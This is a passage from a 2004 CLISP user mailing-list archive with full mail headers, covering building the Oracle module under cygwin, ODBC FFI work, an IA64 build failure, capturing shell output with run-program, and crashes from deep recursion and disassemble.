helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BdW2p-00080H-Ha for clisp-list@lists.sourceforge.net; Thu, 24 Jun 2004 08:21:43 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i5OFLR3x008628; Thu, 24 Jun 2004 11:21:30 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "John K. Hinsdale" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200406241407.i5OE79s0016350@van-halen.alma.com> (John K. Hinsdale's message of "Thu, 24 Jun 2004 10:07:09 -0400") User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) References: <16602.56994.678043.126194@thalassa.informatimago.com> <200406241407.i5OE79s0016350@van-halen.alma.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, "John K. Hinsdale" Message-ID: MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: clsql, oracle, etc Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 24 08:22:06 2004 X-Original-Date: Thu, 24 Jun 2004 11:21:27 -0400 > * John K. Hinsdale [2004-06-24 10:07:09 -0400]: > > > Maybe the docs should just say "modules included in the source > distribution". done. -- Sam Steingold (http://www.podval.org/~sds) running w2k ((lambda (x) (list x (list 'quote x))) '(lambda (x) (list x (list 'quote x)))) From andreas.thiele@technologiekontor.de Thu Jun 24 08:24:22 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BdW5O-0006AS-3L for clisp-list@lists.sourceforge.net; Thu, 24 Jun 2004 08:24:22 -0700 Received: from natnoddy.rzone.de ([81.169.145.166]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BdW5M-0000EG-0W for clisp-list@lists.sourceforge.net; Thu, 24 Jun 2004 08:24:20 -0700 Received: from atpws02 (pD95D4316.dip.t-dialin.net [217.93.67.22]) by post.webmailer.de (8.12.10/8.12.10) with ESMTP id i5OFOH81012566 for ; Thu, 24 Jun 2004 17:24:17 +0200 (MEST) From: "Andreas Thiele" To: Subject: WG: [clisp-list] clsql, oracle, etc Message-ID: <000701c459ff$524bac00$3601a8c0@atpws02> MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2616 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_BACKSLASH BODY: Text interparsed with \ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 24 08:25:06 2004 X-Original-Date: Thu, 24 Jun 2004 17:24:19 +0200 If you mind compiling clisp (I did not succeed yet with cygwin/mingw - = after several days of trying) you might think about using ODBC. In my = opinion it is not too complex to do the FFI programming. I started = working on this and built basic functionality. It is just a fast hack = but offers functionality to read from and write to the database. I put = the source code to www.atp-media.de\odbc-cl\odbc.zip if you like to have = a look. You might consider FFI programming on OCI as well. Andreas From sds@gnu.org Thu Jun 24 08:32:33 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BdWDJ-00071j-Q9 for clisp-list@lists.sourceforge.net; Thu, 24 Jun 2004 08:32:33 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BdWDJ-0002qj-8y for clisp-list@lists.sourceforge.net; Thu, 24 Jun 2004 08:32:33 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i5OFWC3x011976; Thu, 24 Jun 2004 11:32:12 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "John K. Hinsdale" Cc: wolfjb@bigfoot.com Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200406241401.i5OE19RZ016262@van-halen.alma.com> (John K. Hinsdale's message of "Thu, 24 Jun 2004 10:01:09 -0400") User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) References: <200406241401.i5OE19RZ016262@van-halen.alma.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, "John K. Hinsdale" , wolfjb@bigfoot.com Message-ID: MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = Subject: [clisp-list] Re: clsql, oracle, etc Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 24 08:33:06 2004 X-Original-Date: Thu, 24 Jun 2004 11:32:12 -0400 > * John K. Hinsdale [2004-06-24 10:01:09 -0400]: > > As for Win32, the CLISP module docs mention that Unix-like modules > should transport well to Win32 when using the Cygwin or MinGW > compatibility stuff. If you are using these things you may just be > able to compile and link CLISP w/ the Oracle module on Win32. 1. get cygwin 2. get clisp sources 3. edit Makefile and link.sh in clisp/modules/oracle to point to the location of your Oracle headers and binaries 4. configure and build: $ ./configure --with-module=oracle --with-mingw --build build-dir 5. run: $ ./build-dir/clisp -K full > But the bad news is that if you are desirous to use a pre-built CLISP, > which it sounds like you are, and cannot or do not wish to compile > your own, then you will not be able to use Oracle. This is absolutely __NOT__ the case. Any CLISP binary distribution comes with /usr/lib/clisp/clisp-link and /usr/lib/clisp/linkkit/* specifically so that any user of this distribution could build his own modules. So, Jeff will need to get the sources of the Oracle module (CVS, source distribution, John's web site), modify the Makefile and link.sh as in [3] above, and follow the impnotes instruction to produce his own linking set, in, say, /usr/lib/clisp/oracle/ then he will be able to run it with $ clisp -K oracle -- Sam Steingold (http://www.podval.org/~sds) running w2k Lisp: it's here to save your butt. From hin@van-halen.alma.com Thu Jun 24 08:50:55 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BdWV5-0000cT-4X for clisp-list@lists.sourceforge.net; Thu, 24 Jun 2004 08:50:55 -0700 Received: from coopers.dsl.net ([65.84.81.5]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BdWV4-0006kK-QJ for clisp-list@lists.sourceforge.net; Thu, 24 Jun 2004 08:50:54 -0700 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by coopers.dsl.net (Postfix) with ESMTP id 7744310E073; Thu, 24 Jun 2004 11:50:45 -0400 (EDT) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.10/8.12.10) with ESMTP id i5OFojEk018222; Thu, 24 Jun 2004 11:50:45 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.10/8.12.10/Submit) id i5OFoj6V018219; Thu, 24 Jun 2004 11:50:45 -0400 Message-Id: <200406241550.i5OFoj6V018219@van-halen.alma.com> From: "John K. Hinsdale" To: clisp-list@lists.sourceforge.net Cc: clisp-list@lists.sourceforge.net, wolfjb@bigfoot.com In-reply-to: (message from Sam Steingold on Thu, 24 Jun 2004 11:32:12 -0400) X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: clsql, oracle, etc Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 24 08:51:11 2004 X-Original-Date: Thu, 24 Jun 2004 11:50:45 -0400 >> [J. Hinsdale] >> But the bad news is that if you are desirous to use a pre-built CLISP, >> which it sounds like you are, and cannot or do not wish to compile >> your own, then you will not be able to use Oracle. > [Sam Steingold] > This is absolutely __NOT__ the case. > Any CLISP binary distribution comes with > /usr/lib/clisp/clisp-link > and > /usr/lib/clisp/linkkit/* > specifically so that any user of this distribution could build his own > modules. Oops my bad; I was confusing "need to compile the module" w/ "need to compile CLISP" sorry. I didn't know you could just build the module and link it in ... probably much easier now that I think about it. Jeff, if you want to give Sam's procedure a go, I've put up a recent version of the Oracle module source standalone on my webpage. See http://clisp.alma.com Isuggest you unpack the archive at the same place you unpacked CLISP. It will expand into ./modules/oracle/* I'd be happy to help however I can w/ build issues, particularly w/ the Oracle alibs. Note I have NOT built this module on Win32, but at the same time I would not be surprised if it "just worked". Oracle is pretty portable; one of the most portable commercial applications really. --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From werner@suse.de Thu Jun 24 09:21:13 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BdWyP-0002t1-BB for clisp-list@lists.sourceforge.net; Thu, 24 Jun 2004 09:21:13 -0700 Received: from cantor.suse.de ([195.135.220.2]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.30) id 1BdWyO-0006yl-M2 for clisp-list@lists.sourceforge.net; Thu, 24 Jun 2004 09:21:13 -0700 Received: from hermes.suse.de (hermes-ext.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id BC90A7AA671 for ; Thu, 24 Jun 2004 18:21:10 +0200 (CEST) From: "Dr. Werner Fink" To: clisp-list@lists.sourceforge.net Message-ID: <20040624162110.GA10777@wotan.suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Organization: SuSE LINUX AG User-Agent: Mutt/1.5.6i X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_COMMA BODY: Text interparsed with , 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = Subject: [clisp-list] clisp 2.33.2 -- No FFI possible Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 24 09:22:02 2004 X-Original-Date: Thu, 24 Jun 2004 18:21:10 +0200 Hi, if I try to build clisp 2.33.2 on IA64 I get -------------------------------------------------------------------- make[1]: Entering directory `/usr/src/packages/BUILD/clisp-2.33.2/ia64-suse-linux/avcall' ./minitests > minitests.out make[1]: *** [check] Error 139 make[1]: Leaving directory `/usr/src/packages/BUILD/clisp-2.33.2/ia64-suse-linux/avcall' make: *** [avcall.h] Error 2 -------------------------------------------------------------------- which is simply a SIGSEGV. I've tried to generate a new avcall-ia64.s with gcc -D__ia64__ -S avcall-ia64.c -o avcall-ia64.s and tried again. Now it dies with -------------------------------------------------------------------- ./minitests > minitests.out LC_ALL=C uniq -u < minitests.out > minitests.output.ia64-unknown-linux-gnu test '!' -s minitests.output.ia64-unknown-linux-gnu -------------------------------------------------------------------- a simple `cat minitests.output.ia64-unknown-linux-gnu' shows: -------------------------------------------------------------------- J f(J,int,J):({47,11},2,{73,55})->{120,68} J f(J,int,J):({47,11},2,{6917546619827102344,73})->{6917546619827102391,86} -------------------------------------------------------------------- I've tried both gcc version 3.3.4 and 3.3.3, same result. How this can be fixed. Only to get not only FFI but also bindings/glibc, postgresql, and wildcard modules back into clisp ;^) Werner -- "Having a smoking section in a restaurant is like having a peeing section in a swimming pool." -- Edward Burr From jacsib@lutecium.org Thu Jun 24 09:42:13 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BdXIi-0005Ar-Nj for clisp-list@lists.sourceforge.net; Thu, 24 Jun 2004 09:42:12 -0700 Received: from lutecium.org ([81.57.37.96]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BdXIi-0004SM-0W for clisp-list@lists.sourceforge.net; Thu, 24 Jun 2004 09:42:12 -0700 Received: from lutecium.org (localhost.localdomain [127.0.0.1]) by lutecium.org (8.11.6/8.11.6) with ESMTP id i5OGfOk26730 for ; Thu, 24 Jun 2004 16:41:24 GMT Message-ID: <40DB0433.712E9EAA@lutecium.org> From: "Jacques B. Siboni" Organization: Lutecium, Paris, France, http://www.lutecium.org/jacsib X-Mailer: Mozilla 4.8 [en] (X11; U; Linux 2.4.20-24.7 i686) X-Accept-Language: en, zh-CN, zh, zh-TW, ja, ko MIME-Version: 1.0 To: clisp list Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] returns from shell commands Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 24 09:43:21 2004 X-Original-Date: Thu, 24 Jun 2004 16:41:23 +0000 Hi all when I run [17]> (setq foo (shell '|ls *.kb|)) I get: dsm3.kb 0 [18]> foo 0 foo has a value of 0 Can someone tell me how to get the return of my shell command into a lisp variable? Thanks in advance Jacques -- Dr. Jacques B. Siboni mailto:jacsib@Lutecium.org 8 pass. Charles Albert, F75018 Paris, France Tel. & Fax: 33 (0) 1 42 28 76 78 Home Page: http://www.lutecium.org/jacsib/ From elvin_peterson@yahoo.com Thu Jun 24 11:22:15 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BdYrW-0003TE-Vm for clisp-list@lists.sourceforge.net; Thu, 24 Jun 2004 11:22:14 -0700 Received: from web52210.mail.yahoo.com ([206.190.39.92]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.30) id 1BdYrW-0004sM-FZ for clisp-list@lists.sourceforge.net; Thu, 24 Jun 2004 11:22:14 -0700 Message-ID: <20040624182207.45871.qmail@web52210.mail.yahoo.com> Received: from [202.83.40.100] by web52210.mail.yahoo.com via HTTP; Thu, 24 Jun 2004 11:22:07 PDT From: Elvin Peterson To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = Subject: [clisp-list] clisp crash with recursive function Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 24 11:25:43 2004 X-Original-Date: Thu, 24 Jun 2004 11:22:07 -0700 (PDT) Hello, I have an function (described below), which crashes clisp for inputs greater than 1500. The limit is substantially larger if the function is compiled. An empty stackdump file is generated under cygwin. [18]> (eratosthenes 1500) $ I suspect this might be a problem with large lists, but shouldn't there be a graceful recovery and a message rather than a crash? $ clisp --version GNU CLISP 2.33 (2004-03-17) (built on winsteingoldlap [10.0.19.22]) Software: GNU C 3.3.1 (cygming special) ANSI C program Features: (CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE BASE-CHAR=CHARACTER UNIX CYGWIN) Installation directory: /usr/lib/clisp/ User language: ENGLISH TIA. ;; Implements the sieve of Eratosthenes (defun generate-list (n) "Provides the list 2...n" (labels ((generate-reversed-list (n) "Generates the list 2...n in the reverse order" (if (= n 2) (cons 2 nil) (cons n (generate-reversed-list (1- n)))))) (reverse (generate-reversed-list n)))) (defun sieve (x n) "The actual sieve, repeatedly deleting multiples." (labels ((multiple-of (x y) "Is the number a multiple (greater than 2)?" (and (integerp (/ x y)) (> x y)))) (if (> n (sqrt (first (last x)))) ;no need to check for numbers > sqrt (n) x ;stopping condition for the recursion (sieve (delete-if #'(lambda (num) (multiple-of num (nth (1- n) x))) x) ;delete multiples of positions starting (1+ n))))) ;from n, incrementing by 1 (defun eratosthenes (n) "Find all primes till n" (sieve (generate-list n) 1)) ;start the sieve using the first element __________________________________ Do you Yahoo!? Take Yahoo! Mail with you! Get it on your mobile phone. http://mobile.yahoo.com/maildemo From sds@gnu.org Thu Jun 24 11:23:51 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BdYt5-0003WC-Cj for clisp-list@lists.sourceforge.net; Thu, 24 Jun 2004 11:23:51 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BdYt4-0005Gg-VP for clisp-list@lists.sourceforge.net; Thu, 24 Jun 2004 11:23:51 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i5OINf3x002558; Thu, 24 Jun 2004 14:23:41 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Jacques B. Siboni" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <40DB0433.712E9EAA@lutecium.org> (Jacques B. Siboni's message of "Thu, 24 Jun 2004 16:41:23 +0000") References: <40DB0433.712E9EAA@lutecium.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Jacques B. Siboni" Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: returns from shell commands Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 24 11:28:33 2004 X-Original-Date: Thu, 24 Jun 2004 14:23:41 -0400 > * Jacques B. Siboni [2004-06-24 16:41:23 +0000]: > > when I run > [17]> (setq foo (shell '|ls *.kb|)) > > > I get: > dsm3.kb printed by ls > 0 returned EXT:SHELL > Can someone tell me how to get the return of my shell command into a > lisp variable? try (with-open-stream (s (run-program "ls" :arguments '("-l") :output :stream)) (loop :for l = (read-line s nil nil) :while l collect l)) -- Sam Steingold (http://www.podval.org/~sds) running w2k Any programming language is at its best before it is implemented and used. From elvin_peterson@yahoo.com Thu Jun 24 11:30:48 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BdYzn-00046g-TB for clisp-list@lists.sourceforge.net; Thu, 24 Jun 2004 11:30:47 -0700 Received: from web52203.mail.yahoo.com ([206.190.39.85]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.30) id 1BdYzn-0006zS-Eb for clisp-list@lists.sourceforge.net; Thu, 24 Jun 2004 11:30:47 -0700 Message-ID: <20040624183041.49394.qmail@web52203.mail.yahoo.com> Received: from [202.83.40.100] by web52203.mail.yahoo.com via HTTP; Thu, 24 Jun 2004 11:30:41 PDT From: Elvin Peterson Subject: Re: [clisp-list] Re: clisp crashing on disassemble To: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 24 11:32:00 2004 X-Original-Date: Thu, 24 Jun 2004 11:30:41 -0700 (PDT) --- Sam Steingold wrote: > > * Elvin Peterson > [2004-06-23 10:44:43 -0700]: > > > > clisp crashes when disassemble commands are run on > > some functions after hanging for a while. > > > > [39]> (disassemble #'mod) > > lisp.exe: No such file or directory. > > > > I am dumped back on the bash prompt after this. I > am > > using clisp on cygwin in win2k. > > these are built-in functions written in C. > disassembling them requires > attaching a debugger to the running CLISP process. > detaching kills the > process on w2k and earlier (it is alleged that it > does not kill it on xp). > > > GNU CLISP 2.33 (2004-03-17) > > fixed in 2.33.1. Thank you! I haven't updated Cygwin in a while (tired of all the stuff breaking during upgrade), but I see that it is in the latest setup . __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com From jacsib@lutecium.org Thu Jun 24 11:38:42 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BdZ7R-0004ko-JI for clisp-list@lists.sourceforge.net; Thu, 24 Jun 2004 11:38:41 -0700 Received: from lutecium.org ([81.57.37.96]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BdZ7Q-0000Z4-Qt for clisp-list@lists.sourceforge.net; Thu, 24 Jun 2004 11:38:41 -0700 Received: from lutecium.org (localhost.localdomain [127.0.0.1]) by lutecium.org (8.11.6/8.11.6) with ESMTP id i5OIbtk02206 for ; Thu, 24 Jun 2004 18:37:55 GMT Message-ID: <40DB1F83.E47A95D4@lutecium.org> From: "Jacques B. Siboni" Organization: Lutecium, Paris, France, http://www.lutecium.org/jacsib X-Mailer: Mozilla 4.8 [en] (X11; U; Linux 2.4.20-24.7 i686) X-Accept-Language: en, zh-CN, zh, zh-TW, ja, ko MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <40DB0433.712E9EAA@lutecium.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: returns from shell commands Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 24 11:39:21 2004 X-Original-Date: Thu, 24 Jun 2004 18:37:55 +0000 Sam Steingold wrote: > > try > > (with-open-stream (s (run-program "ls" :arguments '("-l") :output :stream)) > (loop :for l = (read-line s nil nil) :while l collect l)) > > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > > > Any programming language is at its best before it is implemented and used. Sam, Thanks It s wonderful with this Thanks again Jacques -- Dr. Jacques B. Siboni mailto:jacsib@Lutecium.org 8 pass. Charles Albert, F75018 Paris, France Tel. & Fax: 33 (0) 1 42 28 76 78 Home Page: http://www.lutecium.org/jacsib/ From pascal@informatimago.com Thu Jun 24 11:54:51 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BdZN4-0005yB-Uz for clisp-list@lists.sourceforge.net; Thu, 24 Jun 2004 11:54:50 -0700 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BdZN4-0006hE-1V for clisp-list@lists.sourceforge.net; Thu, 24 Jun 2004 11:54:50 -0700 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) 